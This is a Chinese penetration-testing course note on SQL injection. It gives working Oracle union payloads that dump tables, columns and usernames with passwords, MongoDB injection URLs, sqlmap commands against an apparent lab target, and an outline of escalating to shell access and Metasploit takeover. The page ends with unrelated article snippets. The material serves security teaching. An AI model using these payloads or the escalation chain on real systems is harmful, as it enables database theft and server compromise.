小迪安全26WEB 攻防-通用漏洞SQL 注入 SqlmapOracleMongodbDB2 等

 

#知识点: 

1、数据库注入-Oracle&Mongodb 

2、数据库注入-DB2&SQLite&Sybase 

3、SQL 注入神器-SQLMAP 安装使用拓展

 

 

 

数据库注入:

数据库注入-联合猜解-Oracle&Mongodb 

  1.Oracle数据库一般会在java上执行

参考:https://www.cnblogs.com/peterpan0707007/p/8242119.html 

 

猜回显位:用的是单引号,进行猜测,因为在数据库中加入单引号是一种字符类型的,通过SQL语句,判断之后的数据是否能正常的显示页面,从而进行判断注入点。

Dual:是一个虚表。只有一列,必须使用关键字语句才可以进行使用,通常是 查询时间等数据。

 

测回显:and 1=2 union select '1','2' from dual 

 

爆库:and 1=2 union select '1',(select table_name from user_tables 

where rownum=1) from dual 

 

模糊爆库:and 1=2 union select '1',(select table_name from 

user_tables where rownum=1 and table_name like '%user%') from 

dual 

 

爆列名:and 1=2 union select '1',(select column_name from 

all_tab_columns where rownum=1 and table_name='sns_users') from 

dual 

 

爆其他列名:and 1=2 union select '1',(select column_name from 

all_tab_columns where rownum=1 and table_name='sns_users' and 

column_name not in ('USER_NAME')) from dual 

 

爆数据:and 1=2 union select user_name,user_pwd from "sns_users" 

 

爆其他数据:and 1=2 union select user_name,user_pwd from 

"sns_users" where USER_NAME<>'hu' 

 

 2.Mongodb :一般在python中

 

题目源代码:

ee724fa98114410a94d0f02dcacba8a3.png

 db.getCollectionNames()返回的是数组,需要用 tojson 转换为字符串。 

db.Authority_confidential 是当前用的集合(表),find 函数用于查询,0 是第 

一条数据

 

测回显:/new_list.php?id=1'}); return ({title:1,content:'2 

 

爆库: /new_list.php?id=1'}); return 

({title:tojson(db),content:'1 

 

爆表: /new_list.php?id=1'}); return 

({title:tojson(db.getCollectionNames()),content:'1 

 

爆字段:/new_list.php?id=1'}); return 

({title:tojson(db.Authority_confidential.find()[0]),content:'1 

 

 

数据库注入-SQLMAP-数据猜解&高权限读写执行

1、判断数据库注入点 

2、判断注入点权限 

-sqlmap 数据库注入数据猜解 

-sqlmap 高权限注入读写执行 

-sqlmao 高权限注入联动 MSF

#SQLMAP 使用参数: 

参考:https://www.cnblogs.com/bmjoker/p/9326258.html

            https://sqlmap.org/

注入技术:布尔盲注、时间盲注、错误注入、union注入、堆叠查询(SQL语句的基本操作)、带外(dnslog:利用其他的协议,将dns等信息带出来)

 

使用SQLmap的流程:

  判断注入点

  判断数据库类型(是否存在高级权限)

  判断是否为高级用户

 

指定网站进行注入

python sqlmap.py -u "http://124.70.71.251:40184/new_list.php?id=1"

e7f6f651814b4b3282f34edf43172d42.png

 判断为IBM数据库,并判断是否要测试其他数据库

aa50f24b1c7d4d39a40c3f4b7acf0c6b.png

 存在注入点

ee6b5607a1ce41d8bb076c615728b646.png

7c95403965254c6da1a6808ebde005a9.png 

 判断权限:--privileges #查看权限或 --is-dba #查看是否是数据库管理员

 

有了高级权限,也不一定代表能够完全的文件读写(如mysql中的文件读写,需要my.ini配置上的修改)

若不是高级权限,则老实的进行数据库猜测:

--dbs #查看其他数据库、

--current-db #当前数据库、

--tables #获取所有数据库中的表、

联合指定数据库查询表--tables -D ”指定数据库”、

联合指定数据库中的指定表的列--columns -T “指定表” -D ”指定数据库”、

联合指定数据库中的指定表的指定列中的属性值--dump -C “指定列” -T “指定表” -D ”指定数据库”

--purge #清理缓存

 

一些数据库的特性,无dbs

1a733e0590fb42e7b451a709d87e0f54.png

 -r #对当下文件下的数据包进行解析——特定访问:POST、限制数据头的数据包

对数据包要注入点加入*:表示为注入点

ac2d94f8bc3a4127a561545ed228f0ee.png

 

 

Msf:进行后期内网渗透和提权

主要的思路是:

通过sqlmap找到管理员账号和密码,从而登入后台,再利用后台进行os-shell的连接实现shell交互,此时通过shell交互便可获取到对方服务器的IP等敏感信息,同时,在自己的服务器中开启监听,利用高级权限读写文件,向对服务器写入payload(.exe)并运行,实现上线服务器,然后在监听过程中开启msf,从而提权

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/688265.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C/C++与汇编交互总结

1.汇编当中可以调用C函数&#xff0c;只需要"IMPORT"一下即可&#xff0c;如&#xff1a; change_vari_c PROCPUSH {R0,R1,LR}IMPORT core_res_cIMPORT temp_func_retEXPORT change_vari_cBL temp_func_retLDR R1,core_res_cSTR R0,[R1]POP {R0,R1,PC}ENDP 如果该C…

Rust HashMap详解及单词统计示例

在Rust中&#xff0c;HashMap是一种非常有用的数据结构&#xff0c;用于存储键值对。本文将深入介绍HashMap的特性&#xff0c;以及通过一个单词统计的例子展示其用法。 HashMap简介 HashMap是Rust标准库提供的用于存储键值对的数据结构。它允许通过键快速查找对应的值&#…

图数据库 之 Neo4j - 应用场景1(6)

Neo4j是一种图数据库&#xff0c;它专注于处理关系数据密集型的问题。由于其图结构的特性&#xff0c;Neo4j能够高效地存储、查询和分析连接数据。 以下是一些常见的Neo4j应用场景&#xff1a; 社交网络分析&#xff1a;通过建模和分析人际关系&#xff0c;可以揭示社交网络中…

PTA | Wifi密码

下面是微博上流传的一张照片&#xff1a;“各位亲爱的同学们&#xff0c;鉴于大家有时需要使用 wifi&#xff0c;又怕耽误亲们的学习&#xff0c;现将 wifi 密码设置为下列数学题答案&#xff1a;A-1&#xff1b;B-2&#xff1b;C-3&#xff1b;D-4&#xff1b;请同学们自己作答…

【详解】图的概念和存储结构(邻接矩阵,邻接表)

目录 图的基本概念&#xff1a; 图的存储结构 邻接矩阵&#xff08;GraphByMatrix&#xff09;&#xff1a; 基本参数&#xff1a; 初始化&#xff1a; 获取顶点元素在其数组中的下标 &#xff1a; 添加边和权重&#xff1a; 获取顶点的度&#xff1a; 打印图&#xf…

Unity所有关于旋转的方法详解

前言&#xff1a;欧拉角和四元数的简单描述 我们在Inspector面板上看到的rotation其实是欧拉角&#xff0c; 我们将Inspector面板设置成Debug模式&#xff0c;此时看到的local Rotation才是四元数。 Unity中的欧拉旋转是按照Z-X-Y顺规执行的旋转&#xff0c;一组欧拉旋转过程中…

【HarmonyOS】鸿蒙Arkts开发从入门到实战【持续更新】

鸿蒙Arkts开发从入门到实战目录 1. 工具安装 ArkTs 2.1 基础语法 2.2 状态管理 2.3 渲染控制 2.4 页面路由 ArkUI的基础类组件使用 3.1 Image组件 3.2 Text组件 3.3 TextInput组件 3.4 Button组件 3.5 Slider组件 3.6 Video组件 3.7 自定义组件 3.8 气泡提示 3.9 菜单 Stage模…

RibbonBar RibbonPage切换事件

在开发的过程中&#xff0c;我们会用到点击切换page&#xff0c;来响应对应的事件&#xff0c;例如以下事件&#xff1a; 头文件中&#xff1a; void ribboncurrentPageIndexChanged(int index); 实现文件中&#xff1a; connect(ribbonBar(), SIGNAL(currentPageIndexChang…

[力扣 Hot100]Day29 删除链表的倒数第 N 个结点

题目描述 给你一个链表&#xff0c;删除链表的倒数第 n 个结点&#xff0c;并且返回链表的头结点。 出处 思路 两个指针间隔n&#xff0c;一趟遍历解决。 代码 class Solution { public:ListNode* removeNthFromEnd(ListNode* head, int n) {ListNode* phead;ListNode* …

【数据库】Mysql索引

1、什么是索引&#xff1f;为什么要用索引&#xff1f; 1.1、索引的含义 数据库索引&#xff0c;是数据库管理系统中一个排序的数据结构&#xff0c;以协助快速查询&#xff0c;更新数据库中表的数据。索引的实现通常使用B树和变种的B树&#xff08;MySQL常用的索引就是B树&am…

跟着pink老师前端入门教程(JavaScript)-day03

四、常量 概念&#xff1a;使用 const 声明的变量称为“常量”。 使用场景&#xff1a;当某个变量永远不会改变的时候&#xff0c;就可以使用 const 来声明&#xff0c;而不是let。 命名规范&#xff1a;和变量一致 常量使用&#xff1a; 注意&#xff1a;常量不允许重新…

stable diffusion webui学习总结(3):参数设置

一、2.5D偏卡通风格参数设置&#xff1a; 步骤1、文生图 模型&#xff1a;darkSushiMixMix VAE&#xff1a;vae-ft-mse-840000-ema-pruned 正面提示词&#xff1a;(masterpiece, high quality, highres,illustration),blurry background,[(white background:1.2)::5],(see-…

数据库索引面试的相关问题

查看索引的执行计划 索引失效的情况 1、索引列上做了计算&#xff0c;函数&#xff0c;类型转换等操作。索引失效是因为查询过程需要扫描整个索引并回表。代价高于直接全表扫描。 Like匹配使用了前缀匹配符“%abc” 字符串不加引号导致类型转换。 原因&#xff1a; 常见索…

阿里云香港轻量应用服务器网络线路cn2?

阿里云香港轻量应用服务器是什么线路&#xff1f;不是cn2。 阿里云香港轻量服务器是cn2吗&#xff1f;香港轻量服务器不是cn2。阿腾云atengyun.com正好有一台阿里云轻量应用服务器&#xff0c;通过mtr traceroute测试了一下&#xff0c;最后一跳是202.97开头的ip&#xff0c;1…

酒店内部服务App开发常用的代码分享!

随着移动互联网的迅猛发展&#xff0c;智能手机已经成为人们生活中不可或缺的一部分&#xff0c;酒店作为服务行业的重要代表&#xff0c;为了提升客户体验、提高服务效率&#xff0c;纷纷开始开发内部服务App。 这些App不仅可以帮助酒店实现内部管理的便捷化&#xff0c;还能…

二叉树(4)——链式二叉树

1 二叉树的概念 二叉树是&#xff1a; 空树非空&#xff1a;根节点&#xff0c;根节点的左子树、根节点的右子树组成的。 二叉树定义是递归式的&#xff0c;因此后序基本操作中基本都是按照该概念实现的。 2 二叉树的遍历 2.1 前序、中序以及后序遍历 学习二叉树结构&#xf…

【C++笔记】第一阶段:C++基础入门

C基础入门 1 C初识1.1 创建一个C程序1.1.1 创建项目1.1.2 创建文件1.1.3 编写代码1.1.4 运行程序 1.2 注释1.3 变量1.4 常量1.5 关键字1.6 标识符命名规则 2 数据类型2.1 整型2.2 sizeof关键字2.3 实型&#xff08;浮点型&#xff09;2.4 字符型2.5 转义字符2.6 字符串型2.7 布…

ts总结大全

ts类型 TS类型除了原始js类型之外&#xff0c;还增加类型&#xff0c;例如&#xff1a;枚举、接口、泛型、字面量、自定义、类型断言、any、类型声明文件 数组类型两种写法&#xff1a;类型 [] 或 Array <类型> let arr:number[][1,2,3,4] let arr:string[][a] let arr…

全网最全软件测试面试八股文

&#x1f345; 视频学习&#xff1a;文末有免费的配套视频可观看 &#x1f345; 点击文末小卡片 &#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 一般软件测试的面试分为三轮&#xff1a;笔试&#xff0c;HR面试&#xff0c;技术面试。 前两轮…

【Go】四、rpc跨语言编程基础与rpc的调用基础原理

Go管理工具 早期 Go 语言不使用 go module 进行包管理&#xff0c;而是使用 go path 进行包管理&#xff0c;这种管理方式十分老旧&#xff0c;两者最显著的区别就是&#xff1a;Go Path 创建之后没有 go.mod 文件被创建出来&#xff0c;而 go module 模式会创建出一个 go.mod…